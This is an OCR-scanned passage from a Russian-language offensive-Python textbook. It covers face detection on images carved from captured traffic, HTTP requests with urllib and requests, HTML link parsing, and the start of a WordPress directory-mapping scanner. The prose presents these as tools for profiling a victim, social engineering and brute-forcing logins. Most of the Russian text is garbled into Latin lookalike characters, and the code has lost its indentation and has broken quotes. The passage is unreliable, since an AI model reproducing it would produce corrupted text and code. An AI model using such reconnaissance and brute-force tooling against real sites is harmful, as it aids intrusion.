#:> mkdir /root/Desktop/faces

#:> python recapper.py

Extracted: 189 images
XXXXXXXXXXXXKXXXKXXXKXXKXXXKXXX XXX XXX XXX XX KXXX XXX KX KXKXKKX = == = === == === == XX
Writing pictures/ex_2.gif

Writing pictures/ex_8.jpeg

Writing pictures/ex_9.jpeg

Writing pictures/ex_15.png

#:> python detector.py
Got a face

Got a face

#:>
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Bbl MOKeTe yBUIETh HECKOJIBKO cO00LIeHNIT 00 ommrbKax, creHepupoBaHHbIX
6ubmorexoir OpenCV, Tak Kak HEKOTOPbIe H300pakeHMsI, KOTOPbIE MBI el Tepe-
JIaJI, MOTYT OBITH TIOBPEKIEHHBIMI JIMOO HE /10 KOHI[A CKAYaHHBIMK UJIH JKE Y HUX
MOKET OBITh HEIIOAAEP/KUBAEMbII (popMaT (MOKETE CYMTATD CO3AAHKIE HAAEKHON
HPOIIE/LY Pbl U3BJICUEHUST U TIPOBEPKU U300PasKeHUI CBOMM JOMAIITHIM 3a/IaHIEM ).
B narke faces 10/IKHBI HAXOAUTHCST HECKOJIBKO (haiiioB ¢ BOJIIEOHBIMU 3€JIeHBIMU
paMKaMU BOKPYT JIUIIL.

C moMoIIhio 3TOW METOIUKI MOKHO OTPEAeTNUTh, KAKOTO poja MHGOPMAIHIO
IIPOCMATPUBAET Ballla JKEPTBa, 1 Bpra6OTaTb I/IHI[I/IBI/II[yaJIbeIfl I10AXO0/1 C UCIIOJIb-
30BaHMEM COIMATBHON WHKeHepuu. KoHeuHo, 3TOT MpuMep MOKHO PacIiIupUTh
U BMECTO M3BJIedeHUsT n300paskeHnii u3 pcap-haiioB coueTaTh ero ¢ METOaMu
00xo/1a 1 aHaJIM3a BeO-CTPaHUIL, OITMCAHHBIMU B TTOCJIEAYIONIUX IJIaBax.



Beb-xakepcTBO

HaBbiky ananusa BeO-IPUIOKEHUN COBEPIIEHHO He-
00X0UMBbI JTI0O0OMY XaKepy WK IeHTectepy. B 6oub-
HIMHCTBE COBPEMEHHDIX CeTel BeO-TIPUIOKEHNS UMEIOT
CaMBbI{l BBICOKUM MOTEHIIUAJ /IJIs1 B3JIOMA, TI03TOMY He-
CAHKITMOHUPOBAHHBIN JOCTYT K HUM Yallle BCETO MOTyJIatoT
yepe3 HUX CaMUX.

Ha Python Hanucano MHOKeCTBO OTJIMYHBIX BEO-MHCTPYMEHTOB, BKJI0OYast w3af
u sqlmap. Eciin yectHO, TO Takue TeMbl, Kak BHeapeHue SQL-koja, sBIsoTCs
KpaifHe 3ae3’KeHHBIMH, a TOTOBBIT MHCTPYMEHTAPUH JOCTATOYHO PAa3BUTON I
TOTO, 4TOOBI He M306peTaTh Besocuten. [l0aToMy cOCpeoTOuNMCsT Ha OCHOBAX
pabothl ¢ ceTpio mpu oMo Python u 3atem, onmpasich Ha 3T 3HAHUS, Pa3-
paboTaem COOCTBEHHbBIE HHCTPYMEHTHI 1151 COOPA TI0JIE3HBIX CBE/IEHUIT U aHAIN3a
BEO-TIPUIIOKEHUST METOIOM TIepebopa. ITO MO3BOJIUT BaM IPHoOpecTH (hyHIaMeH-
TaJbHbIE HABBIKU W YMEHUsI, HEOOXOAMMBIE JIJIsT CO3/IAHMsI JII0OOTO POJIa CPEICTB
aHas3a BeO-TIPUIOKEH NI, YMECTHBIX B KOHKPETHOIT aTake.

B aT0ii ri1aBe Mbl pacCMOTPUM TPHU ClIEHAPUST aTakW. B mepBoM 13 HUX BaM U3BECT-
HO, KaKOH KapKac BeO-NMPUIOKEHUI TIPUMEHSIET KEPTBA, ¥ TaK CJI0KUIIOCh, YTO OH
HMeeT OTKPbITHII NCXOAHBIN Ko/, KapKac BeG-TIpUIosKeHU T COMEPIKUT MHOKECTBO
(haiimoB 1 BIOKEHHBIX KaTAIOTOB. MBI cCTeHEpUpYyeM JIOKATBHYIO KapTy MepapXun
BeO-TIPHIJIOJKEHUST M BOCTIOJIE3YEMCSI €10 JIJIsE TOMCKA PEAIbHBIX (hailIoB U KaTaJoroB
Ha KOMITbIOTEPE KEPTBHI.
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Bo Bropom ciienapun Bam ussecteH Tojibko URL-azipec skepTBbl, I03TOMY ITPUET-
cs1 IpUGETHYTh K METOLY 1Tepebopa, YTOOBI IOIYYUTh TY JKe CTPYKTYPY KaTaloroB.
MbI BO3bMEM CJIOBAph U CreHEPUPYEM Ha €ro OCHOBE HAOOp IyTell M Ha3BaHUI
KaTaJoTOB, KOTOPhIEe MOTYT IIPUCYTCTBOBATh HA aTaKyeMOM KOMIIbIOTepe. 3aTeM
TIOTTBITAEMCsT 0TOOPATH U3 TIOJYYEHHOTO CITICKA TOTEHI[HATLHBIX Iy Tell Te, KOTOPbhIe
JeHCTBUTEIbHO CYIIECTBYIOT.

B Tperbem crienapun Bam usBecTHbl Oa3oBbiit URL-aapec KepTBbI 1 cTpaHuIia
JUIsT BXO1a. M bl TpOaHaIM3UPyeM 9Ty CTPAHUILY U TTIOTIPOOYEM 1Mo00paTh yYeTHBIE
JIAHHbIE TI0 CJIOBapIO’,

Ucnonb3oBaHue Beb-6Mbnuortek

Jluist Hauasa ciiesiaeM KpaTkuii 0630p GUOIMOTEK, KOTOPBIE MOKHO IPUMEHSITh J1JIsT
BSaHMOHeﬁCTBHH C Be6'CepBI/IC3MI/I. HpI/I BbITIOJIHEHUN CETEBbLIX aTaK Bbl MOKETE
OJIB30BATHCST JTNOO CBOMM KOMITBIOTEPOM, JIKOO YCTPOICTBOM BHYTPH aTaKyeMoii
cetu. Eciin BBI 1IpoGpasinch Ha B3JIOMAHHbBI KOMITBIOTEp, TO MIPUAETCS paboTaTh
C TEM, UTO TIOJT PYKOH, — 9TO MOsKeT ObITh OazoBasi Bepcusi Python 2.x mim Python 3 .x.
MBI II0rOBOPUM O TOM, YTO MOJKHO C/IEJIATh B TAKOU CUTYAIUK, 0OXO/ACH CTAHIAPT-
HOIT GG oTeKoit. OIHAKO B OCTATIbHBIX pas/iesiaX dTOH IJIaBbl IPEINOJIaraeTcst, 4To
Ha KOMITBIOTEPE, C KOTOPOTO TIPOBOINTCS ATAKA, YCTAHOBJICHBI CAMbIE CBEKIE [TAKETHL.

bu6nuoreka urllib2 gns Python 2.x

B xoje, Hanmcanuom Ha Python 2., MoskHO BeTpeTTh aker urllib2, BCTpOeHHbBII
B cTaHmapTHyo Oubmoreky. Eciu naker socket IpuUMeHsIeTCsI IS HAITMCAHUS
CEeTeBOr0 MHCTPYMEHTAPU, TO C IIOMOIIBIO urllib2 co3zaloT cpeacTBa B3anMO/IEN-
CTBUS ¢ BebO-cepBrcaMu. PaccMOTPUM KOJI, KOTOPBII BBITIOJIHSIET OY€Hb [TPOCTON
GET-3ampoc k Be6-caiity No Starch Press:

import urllib2

url = 'https://www.nostarch.com’
response = urllib2.urlopen(url) # GET @
print(response.read()) ®
response.close()

I10 mpocTeiinmii mpumep Toro, Kak BeinoHuTh GET-3ampoc k Be6-caiity. Mebi e-
penaem URL-azpec dynkium urlopen @, KoTopas BO3BpaliaeT 00beKT, ITOX0KHi

! 31ech u asiblire «CJI0Bapb» UCIIOJIb3YETCsI B IBYX CMBICJIAX: KaK KOHCTPYKITHS si3bika Python

U KaK CITHCOK JIJIst TTof60pa mapoJieii  mp.
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Ha JIECKPUTITOP, C €TO IIOMOIIBIO MOKEM TIPOYUTATD TEJIO TOTO, YTO HaM BO3BpaIaeT
Beb-cepBep @. TTOCKOJIBKY MBI TIOJTyYaeM BCETO JINIIb KO/ CTPAHUIIBI ¢ BeO-caiiTa
No Starch, Hukakue KJIMeHTCKUe CKPUTITBI, HATTMCAHHbBIE Ha JavaScript uim apyrom
SI3bIKE, BBITTOJIHATHCS HE OY/IyT.

Oxnako B 6OJIBIIMHCTBE CIydaes Tpedyercs 6osiee TMOKUI MOIXO0/T K BBITOJHEHUTO
3arpocoB. Hampumep, HHOTIa HYKHO YKa3bIBaTh OIPe/IeeHHbIE 3ar0JI0BKH, 00-
pabatbiBaTh cookie 1 cozaaBath 3arpocst Tuiia POST. Bubsoreka urllib2 umeer
B CBOEM COCTaBeE KJIacc Request, CIIOCOGHBIIT 00CTIeYnTh TAKOH YPOBEHb THOKOCTH.
B caemyronem mpumMepe mokasaHo, Kak ¢ TOMOIIBIO 3TOTO KJTacca CO3/1aTh TaKOH
xe GET-3anpoc ¢ ykazanuem cobcrserroro HTTP-3arosioska User-Agent:

import urllib2
url = "https://www.nostarch.com"
headers = {'User-Agent': "Googlebot"} @

request = urllib2.Request(url,headers=headers) @
response = urllib2.urlopen(request) ©

print(response.read())
response.close()

[Tporecce cosmanust 06beKTa Request HEMHOTO OTJIMYAETCST OT TOTO, KOTOPbII Mbl
BUZIEIM B TIpeAbIayIeM npuMepe. ITo6bl yKasaTh COOCTBEHHbBIE 3aTOJOBKH, J10-
GaBJisieM MX Ha3BaHUs M 3HAYEHUs B cJIoBapb headers @. B gaHHOM ciryyae Mbl
cliesiaeM Tak, 9ToObI HAIll CKPUTIT ITPEICTABJISIICS TOMCKOBBIM poOoToM Googlebot.
3ateM cosmaeM 00beKT Request, ITPeOCTaABIIsISE eMy url U cioBapb headers @,
HOCJIE YeTo TiepeiaeM aToT 00beKT (hyHKIMK urlopen ©. B orBeT nosyyaem o6brd-
HBII 00BEKT-IECKPUIITOP, KOTOPBIH MOKHO MCIOJIb30BATh JIJIsi YUTCHUS JaHHBIX
¢ yIaJIeHHOTO Beh-caiTa.

bu6nuoreka urllib gns Python 3.x

Cranzaprrasg 6ubanoreka Python 3.x comepskut maker urllib, B KOTOPOM BO3-
MOJKHOCTU urllib2 paszesienbl Ha JBa Itoanakera: urllib.request nurllib.er-
ror. Takske B urllib nosiBusmick pyHkiuu paz6opa URL-axpecos, 1ocTyIHbIE
B mmojmnakere urllib.parse.

st codpanus HTTP-3ampoca ¢ momotibio urllib MOKHO BOCIIOJIb30BATHCS JIAC-
MeT4epoM KOHTEKCTa U MHCTPYKIei with. [lomy4yeHHbIl OTBET 0JIKEH cofiep:KaTh
GaiiToByto cTpoKy. BoT kak 910 BhiTIsiuT Ha nipuMepe GET-3anpoca:

import urllib.parse ©
import urllib.request
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url = 'http://boodelyboo.com' @
with urllib.request.urlopen(url) as response: # GET ©
content = response.read() O

print(content)

37ech MBI UMIIOPTUPYEM HY KHbIEe HaM TTakeTel @ u ompenensem meneBoit URL-
azipec @. 3aTeM ¢ TOMOIIBIO METO/Ia urlopen B KayecTBe AMCIIeTYepa KOHTEKCTa
BBITIOJIHAEM 3a1ipoc © 1 yuTaem orBer @.

Yrobst cozmats POST-3ampoc, nepemaiite cJioBaph ¢ TaHHBIMHU, 3aKOHPOBAHHBIMI
B BH/Ie 0aiiTOB, 00bEKTY Request. DTOT CIIOBAPh IOJKEH COIEPKATD TAPBI «KJTI0Y —
3HaYeHHe», KOTOPble OKUIAET TOJIYYUTh aTAKyEMO€e BaMU BeO-TIPUIIOKEHIIE.
B aTom npumepe citoBapb info comep:KuT yueTHble JaHHbIe (user, passwd), He-
00X0IMMbIe JIJIsI BX0/1a Ha BeO-CailT:

info = {'user': 'tim', 'passwd': '31337'}
data = urllib.parse.urlencode(info).encode() ©
# Tenepb AaHHble umewT Tun bytes

req = urllib.request.Request(url, data) ®
with urllib.request.urlopen(req) as response: # POST
content = response.read() ©

print(content)

MBI KoMpyeM CJI0Baph ¢ YY€THBIMU JAHHBIMU, YTOOBI IIPEBPATUTH €r0 B 0OBEKT
tina bytes @, momeraem ero B POST-3anpoc @, mepenaionnii 3T yUYeTHBIE
JlaHHbIE, U IPUHUMAEM OTBET Ha MOIBITKY BXO/Ia B BeO-TIPUIIOKeHE ©.

bubnuorexa requests

Haxe odunmanbaast fokymenTaiust Python pekoMeHnyer ncrosibp3oBath B Ka-
yecTBe BbICOKOYpPOBHeBOTO kianeHTckoro HTTP-untepdeiica maker requests.
OH He BXOJWT B CTAaHIAPTHYIO OMOINOTEKY, TOITOMY €r0 HY;KHO YCTaHABJIMBAThH
oT/IeTbHO. BOT Kak 9To cz1es1aTh ¢ TOMOTIBIO pip:

pip install requests

[TakeT requests BBITOJIHO OTIIUYAETCST TEM, YTO MOKET aBTOMATHYECKU 00pabaThi-
Bath cookie, U B 9TOM BbI caMU CMOKETE YOEAUTHCS B CJIEYIONIEM IPUMEPE, XOTsI
HarboJIee HATJISIIHO 9TO OY/IeT MPEICTABICHO B XO/IE ICMOHCTPAIIMOHHOI aTaku Ha
BeO-caiit WordPress, kotopyto MbI poBezieM B paszeiie «Barom HTML-dbopmbr
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ayTeHTH(UKAINK MeTooM Tepebopay pasee. s sommonnenns HTTP-3ampoca
mpoJieJialiTe caemyIolee:

import requests
url = "http://boodelyboo.com’
response = requests.get(url) # GET

data = {'user': 'tim', 'passwd': '31337'}
response = requests.post(url, data=data) # POST @
print(response.text) # response.text = string; response.content = bytestring @

Cosmaem url, request u cjioBaphb data ¢ KJo4aMu user 1 passwd. 3aTeM OTIIPaB-
ssiem 3arpoc MetooMm POST @ u BoiBoiM aTpudyT text (ctpoky) @. Ecii BbI
npeanodnTaere paborarh ¢ 6ai TOBBIMU CTPOKAMU, UCIIOJIB3YHTe aTpUOYT content,
BO3BpallleHHBII BMecTe ¢ oTBeToM. [Iprmep aToro Gyier mokasan B paszelie «Baiom
HTMUL-dopmbr ayreHTHOUKAIIMNA METOAOM TTepebopas.

Maxerst Ixml u BeautifulSoup

Jlist pasbopa comepxrumoro nosyuerrnoro HTTP-orBera nozpoiiger maker 1xml
nu BeautifulSoup. 3a mocieiHne HECKOJIBKO JIET HTH JBa MMaKeTa cTaau GoJee
MTOXOKUMU, BBl MOKETe TPUMEHITh CHHTAKCUUEeCKUM aHaIn3aTop 1xml B covyeTa-
HUU ¢ BeautifulSoup, paBHO KaK U CUHTAKCUYECKUH aHan3aTop BeautifulSoup
B coueTtannu ¢ 1xml. /[pyrue xakepsl UCIIOIB3YIOT B CBOEM KOJie U TOT, U IPYTOU
maker. Y 1xml cMHTaKCHYECKUI aHaJU3aTop 4yTh OBICTpee, a y BeautifulSoup
peLyCMOTPEHa JIOTHKA JIJIsl aBTOMATUYeCKOr0 OOHAPY KEHUsT KOAUPOBKH 3aaH-
Hoil HTML-crpanuibl. 3xech Mol OyeM paborath ¢ 1xml. Oba makera MOKHO
YCTaHOBUTD C TIOMOTIBIO pip:

pip install 1xml
pip install beautifulsoup4

Hormyctum, Bbl coxpanuian HTML-koj, Bo3BpallieHHbIIT BHYTPU OTBETA, B 1epe-
MeHHy10 content. C momMombio 1xml MoKeTe M3BJIeUb U3 HETO CCBIIKH, KaK I0-
KazaHo jajee:

from io import BytesIO ©@
from 1xml import etree

import requests

url = "https://nostarch.com
r = requests.get(url) # GET @
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content = r.content # content umeeTr Tun bytes

parser = etree.HTMLParser()

content = etree.parse(BytesIO(content), parser=parser) # npeobpa3yem B AepeBo ©

for link in content.findall('//a'): # Haxooum Bce ccbliku (3nemeHTh "a") @
print(f"{link.get('href')} -> {link.text}") ©

Nmmnoprupyem kinace BytesIO u3 MojyJist io @, OH 1MMO3BOJIUT HAM UCIIOJIB30BAThH
6aliTOBYIO CTPOKY B KauecTBe (hailsioBoro oobekra npu pazbope HTTP-oTsera.
3areMm, Kak 1 paubiie, BoinoaseM GET-3anpoc @ 1 pazbupaeM OTBET ¢ ITOMOIIIBIO
cuntakcmyeckoro HTM L-ananuszatopa 1xml. AHaam3atop IpUHUMAET Ha BXOJ
00beKT-ecKpuIrTop niau nms daiina. Kimacce BytesIO npeBpaTUT BO3BPAIEHHYO
6afiTOBYIO CTPOKY B OOBEKT-IECKPUIITOP, KOTOPBIA MOKHO Oy/IET MepeiaTh CHH-
TaKCUYECKOMY aHamu3atopy 1xml ©. Mbl ipuMeHsieM ITPOCTOM 3a11POC JIJIst IIOUCKA
BCEX TEroB a (CChLJIOK), COEPIKAIIUXCST B BO3BpalleHHOM oTBere @, U BbIBOIUM
pesyabraThl. Kasxapiii Ter a onpegessier ccbliky. Ero arpubyt href comepkut
URL-azpec 310 CCHLIKY.

O6parute BHUMaHME Ha UCTOJAb30Banue f-cTpoku @, KOTOpast Ha CaMOM JieJie
BBITIOTHSTET 3aruch. B Python Bepcun 3.6 u Bbitie f-cTpoKH MOKHO HCIIOTBE30BAThH
JUIST CO3/TAHSI CTPOK C TIEPEMEHHBIMH, 3aKTI0YE€HHBIME B (PUTYPHBIE CKOOKU. ITO,
K [IPUMepY, TTO3BOJISIET JIETKO BKJIIOUUTH B CTPOKY Pe3YJIBTAT BbI30BA (DYHKIIUH
(link.get("href')) uam o6bruHOe 3HaveHne (link. text).

Taxoro ke pona pa36op MOKHO BBITIOJTHUTH U C TTOMOTIBIO BeautifulSoup, NCIOJIb-
3ys caenytomuii ko, Kak BumnTe, 5T0 04eHb MOX0Ke HA TPEABIAYITUI TTPIMED
Ha OCHOBe 1xml:

from bs4 import BeautifulSoup as bs

import requests

url = 'http://bing.com’

r = requests.get(url)

tree = bs(r.text, 'html.parser') # npeobpasyem B pepeso O

for link in tree.find_all('a'): # Haxoaum Bce ccbiiku (dnemeHTh "a") @
print(f"{link.get('href')} -> {link.text}") ©

CuHTaKcHc MovTH naeHTdeH. Mbl ipeobpasyeM coiepskuMoe B iepeso @, niepe-
OGupaeM cChbUTKY (TErn a) @ 1 BBIBOAUM COOTBETCTBYOMIME aapeca (aTpubyT href)
u TekcT (link.text) ©.

Ecuu BBl paGoTaere Ha B3JIOMAaHHOM KOMITBIOTEPE, BaM, BEPOSITHO, TIPUAETCST OT-
Ka3aThCsl OT YCTAHOBKKM BCEX 9TUX CTOPOHHMX MAKETOB, YTOOBI HE MOIHUMATD
CJIMIITKOM MHOTO TiiyMa B ceTu. Takum 06pa3om, BbI OyieTe UCIOIb30BATh TO, YTO
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10T PyKO#, — Hampumep, MuHumaibibie Bepcuu Python 2 uau Python 3. 9to
O3HAYaeT, YTO MPHUIETCSA OTPAHUIMTHCS CTaHAAPTHON 6ubInoTEKOH (Uurllib2 wim
urllib cOOTBETCTBEHHO).

B caenytonux npuMepax Mbl UICXO/IUM U3 TOTO, YTO Bbl UCIIOJIb3YeTe /I B3JIOMa
cOOCTBEHHBIN KOMIIBIOTED, CJIEI0BATEIBHO, MOYKETE COEIUHATHCH C Be6—cepBepaMI/I
C TIOMOIIIBIO TTAKeTa requests u p3.36I/IpaTb MIOJIYYeHHBIN BBIBOJ] C TPUMEHEHUEM
Ixml.

Wtak, BBl moJiydryin 6a30Bbie CPEACTBA /IS B3aMMOJIECTBUS ¢ BeO-cepBUCaMU
u BeO-caiitamu. Terepb cO3/1aiM HHCTPYMEHTAPHIA, KOTOPbIi OyeT MoJIe3eH It
aTaK¥ WM TECTUPOBaHMsI Ha IPOHUKHOBEHUE JII0O0TO BeO-TTPUIOKEHUSI.

MonyuyeHune cTPyKTYypblI Katanoros Beb-
MPU/IOXKEHUNA € OTKPbITBIM UCXOAHbLIM KOAOM

Cuctembl yripaBienus KOHTeHTOM (content management systems, CMS) u miat-
dbopmbr 11 6s10roB, Takue kKak Joomla, WordPress u Drupal, genaior mnpoiecc
cosmanust 6siora nin BeG-caiita mpoctbiM. OHU TOJIB3YIOTCST TOBOJBHO BHICOKOM
MOTYJISIPHOCTBIO B CPE/laX BUPTYAJIbHOTO XOCTUHTA U JIa’Ke B KOPIIOPATUBHBIX
cetsix. Y J060M CHCTEMBI €CTh CBOM HIOAHCHI B TIJIAHE YCTAHOBKH, KOH(MUTYPAITUH
U yTipaBieHusa nataamu, u makeTsl CMS — #e uckmouenne. To, 4To meperpysken-
HBIIT CHCTEMHBII a[MIUHUCTPATOP MM HE3a[aWINBBII PaspabOTUrK He 0 KOHIA
cobJoIaeT Bee TpoIietypbl obectiedeH st 6ezonacHocTy u yctanosku 110, Mmoxer
YIIPOCTUTH B3JIOMIIUKY MOJyYeHHUE T0CTYIA K BeO-cepBepy.

MbI MOKEM cKadarhb J060€e BeO-MPUIOKEHIE ¢ OTKPBITHIM UCXOAHBIM KOIOM
1 JIOKQJTHHO TIPOAHATIM3UPOBATH €ro (hailyibl U CTPYKTYPY KaTaJoToB. ITO TT03BO-
JISIET CO3/aTh CIIEIUATM3NPOBAaHHBIA CKaHep, CIIOCOOHBIN HAXOAUTh Bce (aiibl,
JIOCTYIIHBIE HA yIaJ€HHOM KOMITbioTepe. TakuM 00pa3soM MOKHO M30aBUTHCS OT
(hailioB, ocTaBIIUXCS TTOC/IE YCTAHOBKH, 3AIIUTUTH C IIOMOIIIbIO aiiioB . htaccess
KaTasioru, TpeOyIolIre 9TOro, ¥ I103a60TUTHCS O TPOYNX HIOAHCAX, KOTOPbIE MOTYT
MO3BOJIMTH B3JIOMIIMKY IIPOHUKHYTH Ha BeG-cepBep.

B aroMm 1poekTe MbI Tak:Ke 1mo3HakoMuMcs ¢ o0bektoM Python Queue, 1103B0-
JISTIOTIAM CO3/IaBaTh GOJIbIINE TIOTOKOOE30MACHbIE 0YEPE/IH, HTEMEHTBI KOTOPBIX
06pabaTeIBAIOTCS PA3HBIMU MTOTOKAMIL. JTO CIETAET HAIIl CKAHEDP OY€Hb OBICTPBIM.
K Tomy ke He HyKHO Oy/1eT BOJTHOBATHCSI O COCTOSTHUSIX TOHKH, TAK KaK O4epe/ib,
B OTJINYHE OT CIUCKA, Oy/IeT MOTOKOOE301MacHOi.
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Onpenenenne crpykrypsi karanoros WordPress

JlonycTuM, U3BECTHO, YTO MHTEPECYIOIee Bac BeO-TPUIOKEHUE UCITOTIH3YET
dpeitmBopk WordPress. TTocMoTpuM, Kak BBITJISIAUT €r0 CTPYKTYPa KaTaJOroB.
Ckauaiire u pacnakyiire kormio Word Press. TToc/ieiHIO0 BEPCHIO MOKHO [TOJTYYUTh
Ha cTpanmuiie https://wordpress.org/download/. 3xech Mbi 3aeiictByem WordPress 5.4.
Hecmotps 1a To uTo pacmososkenue HaiiaoB MOKET OTANIATHCS OT TOTO, KOTOPOe
WCTI0JIb3YeTCs HAa aTaKyeMOM CePBEPE, 3TO CTAHET XOPOIIeid OTIIPABHO TOYKOH /715t
noucka (hailioB U KaTaJoroB, UMEIOIINXCS B GOJBITNHCTBE BEPCHII.

Yro0bl TOIYYUTh KapTy (haiiIoB U KaTaJoroB, IIOCTABJSIEMbIX B CTAHIAPTHOM JUC-
tpubyTiBe WordPress, cosaaiire daiin ¢ umenem mapper. py. JlaBaiite Hanuiem
(byHKIHMIO 110/1 HasBaHKeM gather_paths, KoTopast OyieT 00X0AUTh JUCTPUOYTUB
U BCTABJISITh KAXKJIBIN TIOJHBINA Ty Th K hailiry B ouepe/b web_paths:

import contextlib
import os

import queue
import requests
import sys

import threading
import time

FILTERED = [".jpg", ".gif", ".png", ".css"
TARGET = "http://boodelyboo.com/wordpress" ©
THREADS = 10

answers = queue.Queue()
web_paths = queue.Queue() @

def gather_paths():
for root, _, files in os.walk('.'): ©
for fname in files:

if os.path.splitext(fname)[1] in FILTERED:
continue

path = os.path.join(root, fname)

if path.startswith('."):
path = path[1:]

print(path)

web_paths.put(path)

@contextlib.contextmanager
def chdir(path): O
CHa4ana nepexoaum no 3afaHHOMy MyTu.
B KoHUe BO3BpallaeMcA B WUCXOAHYW nanky.

this_dir = os.getcwd()
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os.chdir(path)

try:
yield ©

finally:
os.chdir(this_dir) @

if __name__ == '__main__":
with chdir("/home/tim/Downloads/wordpress"): @
gather_paths()
input('Press return to continue.')

Brauasie Mbl onpejiesisieM yaaieHHbiii Be6-cailT @ 1 co3aeM CIIMCOK PacIiipeHni
(haiinoB, KOTOPBIE HAC HE UHTEPECYIOT. DTOT CITUCOK MOXKET Pa3inyaThCs B 3aBU-
CUMOCTH OT aTaKyeMOTO TIPUJIOKEHUST, HO B JIAHHOM CJIy4ae Mbl PEIUJIN UTHOPU-
poBatb nzobpaxkenust u tabsmibl cruseii. Ham wysxubr daitier ¢ HTML-kogzom
WJIA TEKCTOM, KOTOPbIE ¢ GoJiee BBICOKON BEPOSITHOCTBIO COIePsKaT MHMOPMAIINIO,
HOJIE3HYTO /I7IsT B3IoMa cepBepa. [lepemernast answers — 970 00bEKT Queue, B KO-
TOPBIN OYAYT 3alMCHIBAThCS MYTH K (baiiiaM, HaiileHHBIM JOKaabHO. Elle oxuH
00beKT Queue, TiepeMeHHast web_paths @, Gyzer XpaHuTh (ailjibl, KOTOPbIE Mbl
MoTIbITAEMCS HAWTH Ha yiaieHHOM cepBepe. B hynkiuu gather_paths ncrnosb3y-
eTCsI BhI30B 05 .walk © st epebopa Beex (hailioB 1 KaTaaoros JOKAJIbHOM KON
BeO-npuiIosKeHust. B xoze aToro 1mporiecca Mbl (hopMEUpyeM TOJIHBIE Y TH K (haiiiam
U CONOCTABJISIEM MX CO CITMCKOM, XPAHSIIMMCS B TIepeMeHHOi FILTERED, 4TOOBI
oTobpaTh TOJIBKO HYsKHBIE HaM (haiisibl. Kax il moaxoasimii (aii, HaitieHHbIi
JIOKaJIbHO, I0OABJISIETCST B 0O4epellb web_paths.

CrenmyeT OTZeTbHO OCTAHOBUTHCS Ha AUCIIeTYepe KOHTeKcTa chdir @. JTo 10-
BOJIBHO y100HAst KOHCTPYKITHS [JIST T€X, KTO CTPaaeT 3a0bIBYNBOCTHIO WU TIPOCTO
XOYeT yIMPOCTUTH cebe KU3Hb. J[ucrerdepbl KOHTEKCTA TIOMOTAIOT B CUTYAIIUsIX,
KOT/Ia BbI YTO-TO OTKPBLIN U JOJKHBI 3aKPBITh, 4TO-TO 3a0JI0KUPOBAJHU U I0JIKHBI
OCBO60[[I/ITI) NN YTO-TO USMEHWJIN 1 JOJIKHBI BEDHYTD B UCXOHOE COCTOAHUE. Bam
yoKe, HaBepHOe, 3HAKOMbI BCTPOEHHBIE JINCIIeTYEPBl KOHTEKCTA, TAKKEe KaK open JIJIst
OTKPBITHS hallioB Win socket uist pabOThHI ¢ COKETAMH.

B 1esioM, uTobbl MTOJIYYUTh JUCIIETYEP KOHTEKCTA, HYKHO CO3/1aTh KJIAcC C Me-
TofaMu __enter__ W __exit__: mepBBIi BO3BpAIllaeT Pecypc, KOTOPHIM HYKHO
yIpaBJsATh (HATpUMep, (haiil Ui COKET), a BTOPOU 3TOT Pecype 0CBOOOKIAeT
(motmycTrMm, 3aKpBIBAET (haiin).

OHaKO B CUTYAIIUSIX, KOT/IA TAKOH KOHTPOJIb He TPeOYETCsT, MOSKHO UCIIOJIH30BATh
@contextlib.contextmanager — 3TOT JeKOPATOP MO3BOJISIET TPEBPATUTH (DYHK-
IIUIO-TEHEPATOP B MTPOCTOM ANCTIeTYEp KOHTEKCTA. MBI TprMenseM ero K GyHKITNN
chdir, KOTOpas MO3BOJISIET BBINOJHATD KOJ B IPYTOM Malke U TapaHTUPYeT, 4TO
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IIPU BBIXO/IE U3 Hee Mbl BepHeMcs B ucxoanyio nanky. Mynkiusa-rernepatop chdir
WHUIUAIN3NUPYET KOHTEKCT, COXPpaHAA I/ICXOZ[HbII;)I 1IyTh, HIEPEXOAUT 110 HOBOMY
IyTH, TIepeaeT yipasieHue obparHo GyHKIMK gather_paths © u 3arem BO3-
BpalllaeTcs B MarKy, ¢ KOTOPOH Mbl HAYMHAJIM PaboTy @.

OGparure BHUMaHKE Ha TO, 4TO orpeesienne GyHKImu chdir cogepkut OI0K1 try
u finally. MHCcTpyKIMu try/except BCTpeUaTCs BMECTe JOBOJIBHO YaCTO, 4eTO
HeJb3sI CKa3aTh O coueTaHnu try/finally. Byiok finally BBITIOTHSIETCS BCET/Ia,
HE3aBUCUMO OT TOT0, OBLIO JIX CrEHEPUPOBAHO KaKoe-11uh0 UCKIIoUeHre. 31eCh OH
HaM HYKEH, IIOTOMY 4TO JUCIeTYeP KOHTEKCTOB JOJIKEH BEPHYTHCA B UCXOHYIO
Hanky B JIOOOM cilydae, U HEBasKHO, ObLT TI€PEX0/] 0 HOBOMY IIYTH YCIENIHbIM
nin "Het. Cleyonuil yIpoIeHHblil TpUMep JIeMOHCTPUPYET, YTO TIPOUCXOIUT
B KaK/IOW cuUTyaluu:

try:
something_that_might_cause_an_error()
except SomeError as e:

print(e) # BbIBOAMM OWWGKY B KOHCO/b

dosomethingelse() # BbINONHAEM KakKoe-TO anbTepHaTUBHOe AeicTBUe
else:

everything _is_fine() # 3To BbiMonHAeTCA TONbKO B C/lydyae ycnexa 6noka try
finally:

cleanup() # 5TO BbIMONHAETCA HECMOTPA HU Ha 4YTO

Bepuemcsa x Koy /1 cOCTaBIeHNs CTPYKTYPBI KaTasmoros. Kak BuanTe, BHyTPH
MHCTPYKIUK with B 6JI0Ke __main__ MCIIONB3YeTCs AMCIeTdep KOHTEKCTa chdir @.
IT0 PyHKIMSA-TeHepaTop, BhI3bIBaeMas ¢ MMEHEM KaTajora, B KOTOPOM HY’KHO
BBITIOJIHUTH KOJI. B TaHHOM TIpUMepe MbI TIepeaeM €il Iy Th, 0 KOTOPOMY ObL
pacmakoBaH ZIP-aiin WordPress. He 3a0yibre OACTaBUTD TOT MyTh, KOTOPBII
[PUMEHSIETCS] Ha BallleM KOMITBIOTEPE, TaK KakK OH OYIEeT OTJINYaThCst OT HAIIEro.
[Tepen Hauasom paboThl HyHKIMSA chdir coXpaHseT UMs TEKYIIero Karauiora
U TIEPEXO/INT TIO TIYTH, TIePeJaHHOMY el B KadecTBe apryMmenTa. [locie aToro ona
BO3BpalIllacT yIIPaBJICHUE IJITABHOMY ITOTOKY BBIIIOJIHEHUA, B KOTOPOM HaXOIUTCA
bynukmua gather_paths. Kak Tonpko gather_paths 3aBepmut pa60Ty, MBI 110~
KU/IaeM AKCIeTdep KOHTEKCTa, B pe3yJibTaTe 4ero BhImoJiHsieTcst 6Jok finally,
1 BO3BpalllaeMcsl B UCXO/IHBIN KaTaJIor.

